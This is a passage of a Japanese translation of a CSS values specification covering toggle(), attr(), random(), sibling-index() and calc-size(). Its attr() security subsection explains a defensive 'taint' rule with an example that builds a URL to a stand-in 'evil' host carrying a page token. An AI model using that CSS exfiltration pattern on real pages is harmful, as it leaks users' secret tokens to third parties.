注: プロパティの計算値は 特定のシリアライズではなく抽象的な値集合であるため、 計算値同士の比較は常に曖昧さなく意図通りの結果となります。 例えばLevel 2のbackground-positionの計算値は それぞれ絶対長もしくはパーセントとして表される2つのオフセットなので、 background-position: top center と background-position: 50% 0% は同じ計算値になります。 定義中の "Computed Value" 行が曖昧または厳しすぎると感じた場合は フィードバック をお願いします。
toggle() を ショートハンドプロパティ に使うときは、 各ロングハンドに、 元の toggle() の各引数を そのロングハンド単体の値として受け取ったときに対応する引数で toggle() 値を設定します。
margin : toggle ( 1 px 2 px , 4 px , 1 px 5 px 4 px );
は以下のロングハンド宣言と等価です:
margin-top : toggle ( 1 px , 4 px , 1 px ); margin-right : toggle ( 2 px , 4 px , 5 px ); margin-bottom : toggle ( 1 px , 4 px , 4 px ); margin-left : toggle ( 2 px , 4 px , 5 px );
ここで、上マージンには 1px が2回、下マージンには 4px が2回出てくるため、それらは2値間だけで循環します。 一方左右マージンは3値で循環します。 つまり上の宣言は以下のロングハンド宣言と同じ計算値になります:
margin-top : toggle ( 1 px , 4 px ); margin-right : toggle ( 2 px , 4 px , 5 px ); margin-bottom : toggle ( 1 px , 4 px ); margin-left : toggle ( 2 px , 4 px , 5 px );
これは意図通りでない場合があります。
7.5. カスタムプロパティ参照: var() 表記
var() 表記は カスタムプロパティ の値を代入します。 詳細は CSSカスタムプロパティの仕様 を参照。 [CSS-VARIABLES]
7.6. 継承値参照: inherit() 表記
inherit キーワードと同様に、inherit() 関数表記は親のプロパティの計算値として解決します。 ただし同じプロパティの値としてではなく、 第一引数で指定されたプロパティの トークナイズされた計算値として解決します。 第二引数があれば 第一引数が保証無効値となった場合のフォールバック値として使われます。
<inherit () > =inherit ( <custom-property-name>, <declaration-value>?)
inherit()関数を解決するには、 第一引数で指定されたカスタムプロパティ の 継承値および (指定があれば)第二引数で指定されたフォールバック値を返します。
注: 将来のCSSでは inherit() で標準プロパティを指定できるようになるかもしれません。
ですが計算値のトークナイズは
すべてのプロパティでまだ標準化されていないため、
この機能はLevel 5では見送られます。
計算値は使用値と異なり、getComputedStyle()
の戻り値とも限りません。
そのため仮にinherit(width) が許可された場合も
たいていは auto
というキーワードとなり、
使用 <length>
とはなりません。
7.7. 属性参照: attr() 表記
attr() 関数は、 属性 の値を要素 から プロパティへ代入します。 これは var() 関数が カスタムプロパティを関数で差し込むのと似ています。
attr () =attr ( <attr-name> <syntax>?, <declaration-value>?) <attr-name> =[ <ident-token>'|' ] ? <ident-token>
attr() の引数は以下の通りです:
- <attr-name>
-
参照する属性名です。 <wq-name>([SELECTORS-3] より)に似ていますがワイルドカード接頭辞はありません。
名前空間が指定されていなければ(attr(foo)のように識別子だけなら)null名前空間とみなされます。 (これが通常望ましい動作です。 名前空間属性が使われることは稀です。 特にHTMLやSVGでは名前空間属性はありません。) 属性セレクターと同様に、 <attr-name> の大文字小文字の区別は文書言語によります。
attr()が 要素に適用されたプロパティに使用されている場合、 その要素上の同名属性を参照します。 疑似要素に適用されていれば、 疑似要素の生成元要素の属性を参照します。
- <syntax>
-
この属性値をどのようにCSS値としてパース するかを指定します。 この構文に従ってパースに失敗した値は フォールバックを引き起こします。
<syntax> 引数を省略した場合 属性のリテラル値は CSS文字列値としてそのまま扱われ、CSSパース(エスケープ、空白削除、コメントなど)を行いません。
注: これは * を構文に指定する場合と異なり、 その場合はCSSパース自体は行われ(妥当なパースがされればよい)、 パース結果がそのまま挿入され、 <string>値としては扱われません。
- <declaration-value>
-
attr()のフォールバック値です。 属性が無い、または指定型として正しくパースできなかった場合に 属性値の代わりに利用されます。
<syntax> 引数が省略された場合 フォールバックを省略すると空文字列がデフォルト、 それ以外は指定がなければ保証無効値がデフォルトとなります。
プロパティに1つ以上の attr() 関数があり、 その構文が妥当であれば プロパティ全体の文法はパース時に有効だとみなさなければなりません。 計算値時にのみ構文チェックされ、 その時点で attr() 関数が置換された後に検証されます。
<stock> <wood length="12" /> <wood length="5" /> <metal length="19" /> <wood length="4" /> </stock> stock::before{ display : block; content : "To scale, the lengths of materials in stock are:" ; } stock > *{ display : block; width : attr ( length <number em>, 0 px ); height : 1 em ; border : solid thin; margin : 0.5 em ; } wood{ background : orangeurl ( wood.png ); } metal{ background : silverurl ( metal.png ); }
7.7.1. 属性値の置換: attr() 表記
attr() は 任意置換関数であり、var() と類似しています。 そのため 計算値(computed value)のタイミングで(可能であれば)代表する値に置き換えられます。 そうでない場合は 保証無効値に置き換えられ、 その宣言は計算値時に無効になります。
-
el を、attr() 関数を含むスタイルが適用されている要素とする。 attr name を関数で指定された属性名とする。 syntax を、関数で指定された <syntax> とし、省略時は null。 fallback を、関数で指定された <declaration-value>? 引数とし、 省略時は 保証無効値 とする。
-
el に attr name という属性がない場合は、 保証無効値 と fallback を返す。 それ以外の場合は attr value をその属性値とする。
-
syntax が null であれば、 attr value を値とするCSSの <string> を返す。
注: どのようなパースや修飾も一切行われません。
-
<syntax>でパースし、 attr value・syntax・el を用いる。 結果と fallback を返す。
7.7.2. セキュリティ
attr() 関数は ページ作成者が本来スタイリング用途を想定していない属性も参照することができ、 機密情報(たとえばページ内スクリプト向けのセキュリティトークン)を含む可能性があります。
通常は問題ありません。 多くの場合、attr() でページの情報を外部に抜き出して悪意のある第三者へ送信するのは困難です。 ただし例外はURLです。 任意属性値でURLがCSSだけで構成できてしまうと、 属性に有る情報を簡単に外部に送信できてしまいます。 特にサードパーティCSSが許可されている場合は危険です。
これを防ぐため、 attr() で得られる値は attr()-汚染(taint) とみなされます。 これは attr()-tainted 値を持つ関数も同様です。登録カスタムプロパティに attr() を含む場合も、 attr()-taint を attr()-tainted 値に持ち続けます。 var() の置換時も同じです。
attr()-tainted な値を <url> として使ったり、含めたりすると、その宣言は計算値時に無効になります。
-
background-image: src(attr(foo)); - 直接使うことはできません。
-
background-image: image(attr(foo)) - 他の <url>を取る関数にも使えません。
-
background-image: src(string("http://example.com/evil?token=" attr(foo))) - 別の関数で「洗浄」してもだめです。
-
--foo: attr(foo); background-image(src(var(--foo))) (ここで --foo が string構文の登録カスタムプロパティだった場合) - 別プロパティ経由でも無効です。
ただし、attr() を他の用途で使う分には、 たとえ urlに近い場所で使われていても 問題ありません:
-
background-image: image("foo.jpg", attr(bgcolor <color>)) はOK。 attr() はフォールバック色を提供しているだけで、 <url> はattr()-汚染されていない。
注: この制限の実装には attr() 由来の値に「ダーティビット」を持たせて追跡する必要があります。 というのもこうした値は登録カスタムプロパティ経由で完全な文字列になりうるからで、 単純に値式を調べるだけでは不十分です。 また、string()のように他型値を文字列化する関数経由でも 非文字列型でこの挙動を引き起こす場合があります: --foo: attr(foo number); background-image: src(string(var(--foo))) も無効にすべきです。
8. ランダム値の生成
デザインにある程度の「ランダム性」を持たせるのは頻繁に有用です。 たとえばページ上の繰り返し要素を均質・静的に見せないためや、 さりげない変化・アクセントを加えたいときに役立ちます。
random() および random-item() 関数 (ランダム関数) により、作者はページ内に乱択性を組み込めます。 このときデザイン上の予測可能性は保ちつつ、 乱択値を複数箇所で再利用するかインスタンスごとに個別にするかを、作者が選択できます。
ランダム数の生成手法はUA依存です。 2つの乱数値間で何らかの相関が簡単に検出できないべきですが、 この仕様ではその暗号学的強度などはあえて規定していません。 作者は ランダム関数 を セキュリティ上の品質に依存する用途には絶対に使うべきではありません。
8.1. ランダムな数値の生成: random() 関数
random() 関数は 数学関数で、指定した最小値・最大値の範囲から 一様分布に従い乱数値を生成します。 また、その値を指定ステップ単位に絞り込むこともできます:
<random () > =random ( <random-caching-options>?, <calc-sum>, <calc-sum>, [ by <calc-sum>] ?) <random-caching-options> = <dashed-ident> || per-element
引数:
- <random-caching-options>
-
省略可能な <random-caching-options> は その random() 関数が ページ内他の random() と同様に解決されるかどうかを制御します。 詳細は § 8.3 ランダム値の生成/キャッシュ: <random-caching-options>値 を参照。
デフォルトでは random() は単一の値に解決し、 そのスタイルを使う全要素で共有され、 引数が同じ2つの random() 関数は 同じ乱数値に解決されます。<dashed-ident> を指定しても意味はありませんが、 ほかが同じ random() を 異なる引数リストにして 別の乱数値を出したい場合に使えます。
per-element キーワードは その random() を 「適用先の各要素ごとに」異なる値とするのに使います(スタイルシート内で使われた回数ごとではない)。
- <calc-sum>, <calc-sum>
-
2つの必須計算は、関数が取りうる最小値と最大値を指定します。 双方の端値は含まれます(すなわち min/max そのものも結果になりうる)。
最大値が最小値未満の場合は、最小値と同じものとして扱います。
例: random(100px, 300px) は <length> の範囲で 100px~300px のランダム値となります。 100px・300pxや 234.5px のような間の値もあり得ます。 - by <calc-sum>
-
最後の省略可能引数はステップ値を指定し、 関数が取りうる値は
min +形式になります。 ここでNは0以上の整数で、範囲内に収まる値のうち等確率で選ばれます。( N * step) 例: random(100px, 300px, by 50px) は 100px, 150px, 200px, 250px, 300px のいずれかだけになります。 120px などは絶対出ません。最小値は常に結果の候補ですが、 最大値は、minからのstepの倍数でなければ候補から除外されます。 たとえば random(100px, 300px, by 30px) では 最大候補値は 280px となります(minから6step)。
丸めの精度問題もあります。 random(100px, 200px, by 100px / 3) は確かに値が3通り (100px、(約)133.33px、166.67px) ですが 200px も得られるかは丸め次第。 安全にstepの倍数になるようmaxをちょっと大きめ指定しましょう(例:random(100px, 201px, by 100px / 3))。
round()の定義どおり、 CSSの値には「自然な」精度単位はありませんが、 ステップ値を指定することでそのような精度を与えることもできます。例: random(100px, 500px, by 1px) なら1ピクセルごとのみ値を取ります。 random(1, 10, by 1) なら整数値のみなど。
注: ステップ値の意味付けは 単に範囲内の値を得て丸める……という生成手順は許しません。 それだと出現確率が端値と中間で偏る恐れがあるからです。 たとえば random(100px, 200px, by 50px) なら3種それぞれ1/3だが、 よくある丸め法だと 150px が2倍頻度になります。
すべての計算引数は、任意の<number>・<dimension>・<percentage> のいずれでもよいですが、 すべて同じ型でなければならず、そうでなければ無効です。 結果値も同じ型となります。
ただし random(50px, 180deg) は無効です。 長さ型と角度型は異なるためです。
random() 関数は、その引数が数値に単純化できた時点で単純化できます。
注: 通常random()は 計算値時に解決され、 静的な数値として継承されます。 ただし、引数の計算が 使用値時まで解決できない(例えばパーセント型等でレイアウト情報が必要な場合)は、 継承も random() 関数自体が継承されます。 (ただしこれはパーセント型自身も同様の振る舞いなので違いはありません。継承時は <percentage> として受け継がれ、 子要素で異なる値になることもありえます。)
少なくとも理論上は
per-element を指定しなければ random() をプロパティ外で使っても問題ないはずです。
例えば
など。だが禁止したほうがよいかも?
8.1.1. 引数の範囲
random(A, B, by C) において、 AまたはBが無限大の場合、 結果はNaNとなります。 Cが無限大の場合、 結果はAとなります。
(Cがゼロまたは負の場合、 結果はAとなりますが、これは標準定義から自明です。)
注: 数学関数全般の慣例として、 任意の引数計算がNaNであれば、 結果もNaNです。
8.2. リストからランダムな項目を選ぶ: random-item() 関数
random-item() 関数は 引数リストの中から ランダムに1項目を解決します。
<random-item () > =random-item ( <random-caching-options>, [ <declaration-value>?] #)
必須の <random-caching-options> は random() と全く同じ意味で解釈されます。 (詳細は § 8.3 ランダム値の生成/キャッシュ: <random-caching-options>値 を参照。)
これ以外は、 random-item() 関数同士の「同一判定」基準はかなり単純で、 引数数しか関与しません。
つまり、random-item(--x, red, blue, green) と random-item(--x, 1, 2, 3) は常に同じ添字で解決されます: すなわち red と 1、または blue と 2、またはgreen と 3 となります。 これにより複数プロパティでランダムセット値が同期できます。
逆に random-item(--x, red, blue, green) と random-item(--x, 1, 2, 3, 4) とは何の関連もなく、 12通りどれでも生じます。
注: <random-caching-options> 引数は random-item() では必須ですが、random() では省略可能です。 これはパース上の都合 (たとえば random-item(--foo, --bar, --baz) が <declaration-value> 3個なのか 2個+<random-caching-options> か区別できない)や、 random-item() は引数数のみで区別されるため 意図せずランダム生成が結びつくリスクが高いからです。
残りの引数は任意個のCSS値列です。 random-item() 関数はこれらのうちどれか1つに一様ランダムで解決します。
random-item() 関数は 任意置換関数であり、 var() のような性質を持ちます。
-
random-item() (や他の任意置換関数)が構文的に有効ならば、 プロパティ全体はパース時点で有効とみなされます。
-
random-item() は 計算値のタイミングで var() の置換と同様に 解決され、子要素にも同じ解決値が継承されます。
-
置換後の値がプロパティを無効にした場合は そのプロパティは保証無効値となります。
任意置換関数について、Variables節に定義を追加する必要がある(今後も同機能を持つ関数が増えるため)。
random-item() は var()的な性格なので、 プロパティでしか使えないように制限した方が良いかもしれません。 (こうした関数全てにその制限を課した方がよいでしょう。) ただし random() は本質的に異なる値型ですが、 一貫性のためこちらも制限すべきかもしれません。
8.3. ランダム値の生成・キャッシュ: <random-caching-options> 値
JavaScriptのようなプログラミング言語では
コードには明確な時間順序があり、
Math.random()
の呼び出しがいつ評価されるかはっきり分かります。
結果を変数に保存すれば、複数箇所で同じ乱数値を再利用しているのか、場所ごとに違う値を出しているのかも明確です。
一方CSSは宣言型言語であり (コードが特定の順序で「実行」されたり、「実行」回数が制御できたりしません)、 複数要素に同じスタイルを適用するのは容易ですが 全部別の値にしたい場合指定が困難です (random() で全要素同じ値/各要素で異なる値にしたいかが明示しづらい)。 変数機能もとても限定的で (特定生成乱数を複数箇所明示再利用が難しい)。
これらの課題を解消するため random() および random-item() 関数では乱数値生成時に以下のキャッシュ動作を定めます:
-
スタイルシート上の各 random() または random-item() インスタンスごとに ランダムキャッシュキー を持つ。 両者の ランダムキャッシュキー が同一なら常に同じ値に解決する。 違っていれば必ず別値が生成される(ただし稀に同じ値になることもありうる)。
-
random() の ランダムキャッシュキー は次の タプルです:
-
最小値 使用値。
-
最大値 使用値。
-
ステップ値 使用値(なければnull)。
-
<dashed-ident>部分(なければnull)。
-
per-element が指定されている場合、その関数が現れる要素または疑似要素ごとの固有値。
-
-
random-item() の ランダムキャッシュキー は次の タプルです:
-
関数の引数数。
-
<dashed-ident>部分(なければnull)。
-
per-element が指定されていればその要素・疑似要素ごとの固有値。
-
「要素または疑似要素ごとの固有値」は、JavaScript参照の生存期間(あるいは生成元要素+疑似要素特定情報)の間保たれるべきです。 異なる文書中の要素(同じページのリロードも新規文書)では異なる値になるべきです。 (厳密な唯一性は必須ではなく疑似乱数で構わないが、異なるドキュメント間で同じ値になることに 作者は依存できない設計にすべきです。)
また、乱数生成は異なる文書で呼び出せば違う値になるべきです (リロード含む)。
.random-square{ width : random ( 100 px , 500 px ); height : random ( 100 px , 500 px ); }
両関数のランダムキャッシュキーは同じで、
です。
よってwidthとheightは完全に同じ値になり、要素は正方形になります(100~500px内)。
かつ、全ての .random-square 要素もこの同じサイズになります。
一方、以下だと:
.random-rect{ width : random ( 100 px , 500 px ); height : random ( --x, 100 px , 500 px ); }
2関数のランダムキャッシュキーは異なり、
width 側は
、
height 側は
です。
よって両者は違う値になるため、正方形になることはまずありません。 ただし .random-rect の各要素は全て同じ乱数幅・高さになります。
関数の内容を少しでも変えるとキーも変化し、2つは完全に無関係になります:
.random-rect-2{ width : random ( 100 px , 500 px ); height : random ( 100 px , 500 px , by50 px ); }
しかし使用値が同じ結果になる場合 見かけ上異なっても同じになることがあります。 次の場合:
.random-square-2{ font-size : 16 px ; width : random ( 160 px , 320 px ); height : random ( 10 em , 20 em ); }
一見全く別の関数ですが、長さ解決後は同じランダムキャッシュキーとなり
となるので
widthとheightは必ず同じ値になります。
例:
.foo{ width : random ( 100 px , 500 px ); }
.foo の複数要素は同じ乱数幅になる。
しかし次の例では:
.foo{ width : random ( per-element, 100 px , 500 px ); }
各 .foo 要素は固有の幅になる。
この場合、値の固有性は「要素ごと」であり 値ごと ではありません。 例えば:
.random-squares{ width : random ( per-element, 100 px , 500 px ); height : random ( per-element, 100 px , 500 px ); }
.random-squares の各要素はそれぞれ異なる乱数値となるが
その要素に限れば width と
height
は同値となり、正方形になる。
これは両プロパティとも
ランダムキャッシュキーが
だからです。
この性質により、カスタムプロパティの random値が予測しやすくなります。 先のコードは次のようにも書けます:
.foo{ --size : random ( per-element, 100 px , 500 px ); width : var ( --size); height : var ( --size); }
9. ツリー要素カウント関数: sibling-count() および sibling-index() 表記
sibling-count() 関数表記は、 それが使われた要素の親に含まれる子要素の総数を <integer> として表します。
sibling-index() 関数表記は、 それが使われた本人要素が 親の子どもの中で何番目かを <integer> として表します。 :nth-child() と同様、sibling-index() も1始まりインデックスです。
注: counter() 関数も sibling-index() 相当の機能が得られますが、 こちらは <string> として返るのに対し、sibling-indexは <integer> です。
疑似要素上で使った場合も、 それが指定された 究極生成元要素に対して評価されます。
注: CSS(セレクターを除く全体)と同じく、 sibling-count() や sibling-index() は フラットツリー に作用します。
注: これらの関数は将来、 of <selector> の引数(:nth-child()と同様) で子集合をフィルタできるよう拡張されるかもしれません。
10. 内在サイズを使った計算: calc-size() 関数
2つの確定サイズ間の遷移や、 既存の確定サイズを少しだけ調整したい場合、calc()はとても便利です。 例えば 100% と 20px の中間は calc(50% + 10px)、 20% 両側に 15px の余白を加えたいときは calc(20% + 15px * 2) など。
しかし、調整対象や遷移先が内在サイズの場合、実用上や後方互換性の理由により この操作はできません。 calc-size() 関数は 安全かつ明確に内在サイズに対して算術演算を可能にします。
<calc-size () > =calc-size ( <calc-size-basis>, <calc-sum>) <calc-size-basis> =[ <intrinsic-size-keyword> | <calc-size () > | any | <calc-sum>]
<intrinsic-size-keyword> 生成規則は、 文脈で許可されている内在サイズキーワードにマッチします。 例えば width では、 auto、 min-content、stretch など。
なぜ calc-size() は入れ子にできるのか?
引数 basis に calc-size() 自体が許されていることで、 変数などをベースとして利用でき(例: calc-size(var(--foo), size + 20px))、 その変数が元々プロパティに合法なら必ず動きます。
同じことを calc() だけでやろうとしても うまくいきません。 例: --foo: calc-size(min-content, size + 20px) や、--foo: min-content に対し calc( (var(--foo)) + 20px ) は失敗します。
内包は補間時や使用値時に簡約化され、 ベースは最終的に単純な値になります。 詳細は § 10.1 calc-size() の簡約化 を参照。
第1引数はcalc-size ベース、 第2引数はcalc-size 計算 です。 いずれに <calc-sum> を指定する場合、 その型が型一致し、 <length-percentage>でなければならず、 実際に<length>に解決できなければなりません。
calc-size 計算内では、 calc-size ベースが any でなければ キーワード size が許されます。 このキーワードは <length> であり、使用値時に解決されます。
calc-size() は 内在サイズ です。 これは特に長さではありません。 calc-size()を受け入れるには必ず文法に明記が必要です。
なぜ calc() で内在キーワードを直接許可しないのか?
理論上は calc-size() の代わりに calc(auto * .5) などを有効にすれば補間が普通に働くようにできます。
ただし、このやり方では異なるキーワードの混合が依然不可になるうえ それが見た目に分かりづらくなります (例えば calc((min-content + max-content)/2) は自然に見えるが実は許されない)。
より重要なのは、通常パーセント値のスムーズな遷移ができなくなるという点です。 calc(50%) は calc(100%) の半分になるのはパーセントが確定なときのみで、 それ以外だと通常は同じサイズ(たとえば 0px や auto になる)。
計算対象のサイズと計算式を分離した新関数にすることで 全てのケースでなめらかな補間が可能となります。
もう一つの理由は、「内在サイズであるか」の有無で多くの挙動(小さいものから大きなものまで)が決まる点です。 calc() で補間する場合 例えば calc(min-content * .2 + 20px * .8) では途中「内在」で、 補間完了時 calc(20px) では「確定」になり、 レイアウトが途中で飛ぶ原因になります。
(これは opacity:1 から opacity: 0へ遷移するとスタッキングコンテキストも変化し得る例と同じです。 opacity なら .999 へ遷移すれば見た目上同じで回避可能ですが、 calc用に calc(auto * .0001) を書けとは現実的でありません。)
繰り返しますが、「内在サイズ」特性を明示する calc-size(auto, 20px) のような新関数を設けることで、 実際の値が確定長さとなっても全区間安定したレイアウトを維持できます。
10.1. calc-size() の簡約化
数学関数と同様に 指定値および計算値時に calc-size 計算(必要なら calc-size ベース も)は 可能な限り簡約化されます(CSS Values 4 § 10.10.1 簡約化)。
- calc-size ベース が calc-size() 関数自身である場合
-
外側関数の calc-size ベース を内側関数のそれに置き換え、 内側関数の calc-size 計算 を外側関数の calc-size 計算 に代入する。
- それ以外で、calc-size ベースが <calc-sum> でかつ型が 長さに一致し(パーセントを含まない場合)
-
ベースを any に置き換え、 元のベースをcalc-size 計算へ代入する。
- さらにそれ以外の場合で、calc-size ベースがパーセントを含む他の <calc-sum> である場合
-
ベースを 100% に置き換え、元のベースをパーセント解除し、 calc-size 計算に代入する。
(必要ならこれらを再帰的に行う。)
calc-size 計算への代入で失敗となったら 全体ですぐに失敗を返す。
注: この正規化後は calc-size() の calc-size ベース は キーワードまたは 100% だけになります。
パーセントをこう簡約化する理由
この処理で遷移時に線形挙動が保証されます。
たとえば 100% を100pxとするとします。
`calc-size(100px, size * 2)`(=200px)から `calc-size(50%, size - 20px)`(=30px) へ引数両方を補間すると 中間点で `calc-size(75px, size * 2 * .5 + (size - 20px) * .5)`(=102.5px) で、これは30と200の中間(115px)にはなりません。 一つを補間して別計算に代入、その補間……だと一般に二次的挙動となります。
この案ではベースを計算式に代入することで `calc-size(percentage, 100px * 2)` `calc-size(percentage, (size * .5) - 20px)` として補間すると 中間点で `calc-size(percentage, 100px * 2 * .5 + ((size * .5) - 20px) * .5)` となり、期待通り115pxになります。 他の遷移点も同様に線形です。
-
calc 内の <percentage-token> をすべて (size * N) に置換する。 ここで N はパーセント値 ÷ 100 です。 calc を返します。
注: 例えば 50% + 20px は (size * .5) + 20px となります。
-
calcにsizeキーワードがなければ何もしない。
-
あれば、calc中のsize全てを insertion value(括弧付き)に置換する。
-
もしこの置換でUA定義の上限を超えた値になるなら失敗を返す。
注: この保護は 変数置換時の挙動に合わせたもので、 CSS Variables 1 § 3.3 長い変数の安全な扱いを参照。 ただし calc-size() 値でここまで長いケースは少なく、 UAはより小さい上限を設けてよい。
10.2. calc-size() の解決
calc-size() は、 あらゆる面でそのcalc-size ベース (ただしanyは未指定の確定サイズ扱い)と同一視されます。
ただしレイアウト計算実行時は、 calc-size ベースで表されるサイズが calc-size 計算 の値へ変更され、 size キーワードは 元の ベースのサイズとして評価されます。
(ベースが any なら calc-size() は 確定長さとなり、 その calc-size 計算 の値と等しい。)
calc-size 計算を評価するとき、 パーセントがその文脈で確定でなければ 0pxとなります。 確定なら通常通り解決されます。
(calc-size ベース のパーセントは別処理で、簡約化によって 計算引数側に移動し size 参照に置き換えられます。 ベースは 100% となり、これはその文脈における通常の 100% 振る舞い (auto 振る舞い など)をします。)
一方calc-sizeの計算式引数内のパーセントは、不定の場合0に解決され calc-size() の挙動が2通りになるのを避けています。 例えば min-content サイズと 100% サイズで レイアウト挙動が異なるケースもあるため、 calc-size() は どちらか一方として振る舞う必要があります。
10.3. calc-size() の補間
2つの calc-size() 関数は (補間用正規化後)以下の場合に補間できます:
- どちらかの関数が 補間用正規化 で失敗を返した場合
-
補間はできません。
- 両方の ベースが同じ場合
-
結果の ベース も同じ値にする。
- どちらかの ベースが any の場合
-
結果の ベース は any でない方のベースを使う。
結果の calc-size 計算 は、入力両方の 計算 を補間したものです。
注: これらの補間制約で calc-size() が 同時に2つの異なる動作をしないよう保証されます。 たとえば min-content と max-content では 違うレイアウト挙動になるため calc-size() はいずれかを装う必要があります。 そのためキーワード間遷移(auto → min-content など)はできません。
一部の calc-size() 値は、 <length-percentage> や <intrinsic-size-keyword> とも補間できます。 補間できるか・その挙動は次のように判断します: 非 calc-size()値が <calc-sum> の場合 calc-size(any, value ) とみなし、 それ以外は calc-size(value, size) として上記ルールを当てます。
details{ transition : height1 s ; } details::details-content{ display : block; } details[ open] ::details-content{ height : auto; } details:not ([ open]) ::details-content{ height : calc-size ( any, 0 px ); }
これは実質的に calc-size(auto, size) と calc-size(any, 0px) を補間します。 details 要素をopen後0.5秒で ::details-content ラッパーの height は calc-size(auto, size * .5) となり開いた時の半分の高さになり、 遷移中なめらかに高さがアニメーションします。
注: calc-size() は calc-size(any, 確定 長さ) への任意遷移も必ずスムーズに動くよう設計されています。
注: 「通常値を calc-size() にアップグレードする」動作で <length-percentage> 値は calc-size 計算 に入ります。 よってパーセント入り値も 内在キーワードと補間できますが、 パーセントが確定 でないと 0に解決されてしまいます。 実際のサイズの割合で取りたい場合は calc-size(50%, size) のように明示指定してください。
10.4. サイズキーワードの補間: interpolate-size プロパティ
注: もしタイムマシンがあれば、このプロパティは必要ありませんでした。 このプロパティは、多くの既存スタイルシートが 内在サイズキーワード (auto や min-content など)が アニメーションできないという想定をしているために存在します。 そのため、スタイルシートが期待通りの挙動を選択できるようにこのプロパティを設けています。 ルート要素へ interpolate-size: allow-keywords を指定すると、 ページ全体に対し新しい挙動を選択できます。 互換性の心配がなければ、常にこの指定を推奨します。
| 名前: | interpolate-size |
|---|---|
| 値: | numeric-only | allow-keywords |
| 初期値: | numeric-only |
| 適用対象: | すべての要素 |
| 継承: | yes |
| パーセント: | 該当なし |
| 計算値: | 指定通り |
| 正規順序: | 構文通り |
| アニメーション型: | アニメーション不可 |
- numeric-only
- <intrinsic-size-keyword> は補間できません。
- allow-keywords
- 2つの値のうちどちらかが <intrinsic-size-keyword> で、 もう一方が <length-percentage> なら補間できます。 この場合、 <intrinsic-size-keyword> keyword を calc-size(keyword, size) と見なして § 10.3 calc-size() の補間のルールを適用します。 その他の場合には <intrinsic-size-keyword> は補間できません。
interpolate-size の値で重要なのは アニメーションが始まる可能性のある時点での要素の計算値です。 CSSトランジションの場合は 変化後スタイルでの値となります。 その後で interpolate-size が変わっても アニメーションは途中で止まったり開始されたりしません。
付録A: 任意置換関数
任意置換関数 とは、関数表記であり、 解決時に 自身を他の値に置き換えるが、 その値はパース時には不明な場合もありうるため、計算値解決中にパースされなければなりません。
注: 任意置換関数は 計算値時に解決されるため、 その置き換え後の値が無効であれば、 プロパティは基本的に unset 的な挙動をし、 パース時無効な場合のようにカスケード上の前値へは戻りません。 無効な置換参照。
特に規定がない限り、任意置換関数は あらゆるプロパティ値のどこにでも使うことができ (他の関数表記内でも)、 それ以外の文脈では無効です。
.foo{ --side : margin-top; var ( --side) :20 px ; }
これはmargin-top: 20px; を設定するのと等価ではありません。 代わりに、2行目は無効なプロパティ名のため単なる構文エラーで破棄されます。
プロパティ値に 任意置換関数が1つ以上含まれ、 それが構文的に有効な場合は その値全体もパース時に有効だとみなします。
任意置換関数は、スタイル置換処理中の 計算値の時点で その他の値変換や調査より前に置換されます。 置換後にプロパティ値が宣言文法に一致しなければ、 その宣言は計算値時に無効になります。
また、プロパティ値が置換後に CSS全域キーワード(と空白・コメントのみ)だけで構成される場合、 そのキーワードが最初から指定値だったかのように扱います。
:root{ --looks-valid : 20 px ; } p{ background-color : var ( --looks-valid); }
20px は background-color には無効な値なため、 そのプロパティは計算値時に無効となり、 transparent( background-color の初期値)となります。
初期値として継承されるプロパティ、例 color だった場合は、 初期値でなく継承値になります。
p{ color : var ( --does-not-exist, initial); }
上のコードでは、--does-not-exist プロパティが存在しないか 計算値時に無効のときは var() は かわりに initial キーワードを採用し、そのプロパティはもともと color: initial だったもののように動きます。 つまりこの場合はドキュメントの初期color値になり、 何も記載がない場合のような継承にはなりません。
各任意置換関数は 自身用の 任意置換関数を解決する方法を定義する必要があります。 ここで result と fallback のオプション値を返します。 result が 保証無効値 を含まない限り それで関数を置換します。 そうでなければ fallback を使います。 (fallback は解決不要。実際に使う場合置換処理で扱います。)
注: 例としては「var()関数の解決」を参照。
.foo{ --gap : 20 ; margin-top : var ( --gap) px; }
これはmargin-top: 20px;(長さ型)に設定したのと同じではありません。 かわりに margin-top: 20 px;(数値+識別子)となり、 margin-top プロパティとして無効です。 ただし calc() を使えばこのように同等のことができます:
.foo{ --gap : 20 ; margin-top : calc ( var ( --gap) *1 px ); }
この処理により、置換後値そのままでは シリアライズできない場合もあることを示唆しています。 次も類似の例です:
.foo{ --gap : 20 ; --not-px-length : var ( --gap) px; }
--not-px-length の 計算結果(置換後)の値は 20pxにはならず (再パース時に単一単位値になるため)、トークン分断のため px にコメントが入る形でシリアライズされます。
無効な置換
置換の結果プロパティ値が 保証無効値 を含めば、 その宣言は 計算値時に無効 となります。 この場合プロパティ型により以下のいずれかになります:
- プロパティが未登録カスタムプロパティの場合
- プロパティが登録カスタムプロパティでユニバーサル構文の場合
-
計算値は保証無効値となります。
- それ以外
-
継承プロパティなら継承値、 そうでなければ初期値となり、 これはunsetキーワード指定と同等です。
:root{ --not-a-color : 20 px ; } p{ background-color : red; } p{ background-color : var ( --not-a-color); }
この場合 <p> 要素は背景が透明に(background-color の初期値)なり、 赤にはなりません。 カスタムプロパティ自体が未設定や、無効な var() 関数を含む場合も結果は同じです。
注意:これは background-color: 20px のように記載した場合と異なります。 この場合は通常の構文エラーでルール自体が破棄され、 background-color: red が適用されます。
注: 計算値時に無効 の概念は 任意置換関数が 通常の構文エラーのように「早い段階で失敗」できず、 UAが値の無効を検知した時点ではすでに他のカスケード値を捨ててしまっているためにあります。
ショートハンドプロパティでの置換
任意置換関数は ショートハンドプロパティを 構成ロングハンドへ分解・逆シリアライズする際にいくつかの問題を生みます。
ショートハンドの値に任意置換関数が含まれている場合、 関連づけるロングハンドプロパティには、 この関数が 含まれていることを示す特別な「置換待ち値」を設定します。 これは置換までロングハンド値は決まらないことを表します。
この値は通常通りカスケードし、 計算値時に置換を行ってから ショートハンドのパース・ロングハンド値の決定をします。
注: ショートハンドに任意置換関数を含まない場合は パース時に分割して ロングハンド とし、 カスケードに参加します。 このときショートハンド本体は破棄されます。 var() が含まれる場合は その後何が来るかわからないのでこの処理はできません。
置換待ち値は API等で観測できる場合は空文字列としてシリアライズされます。
ショートハンドプロパティのシリアライズは 構成ロングハンド の 値を集め、 それを分解したとき元通りになるような値を合成して行われます。
ある ショートハンド に対応する すべてのロングハンドが 同一ショートハンド値からの置換待ち値の場合、 その ショートハンドプロパティは元の (任意置換関数含みの) 値でシリアライズされなければなりません。
それ以外で、同じ ショートハンド の いずれかのロングハンドが置換待ち値または 置換済みでない 任意置換関数 を含む場合は ショートハンドプロパティは空文字列でシリアライズされます。
過度に長い値の安全な置換処理
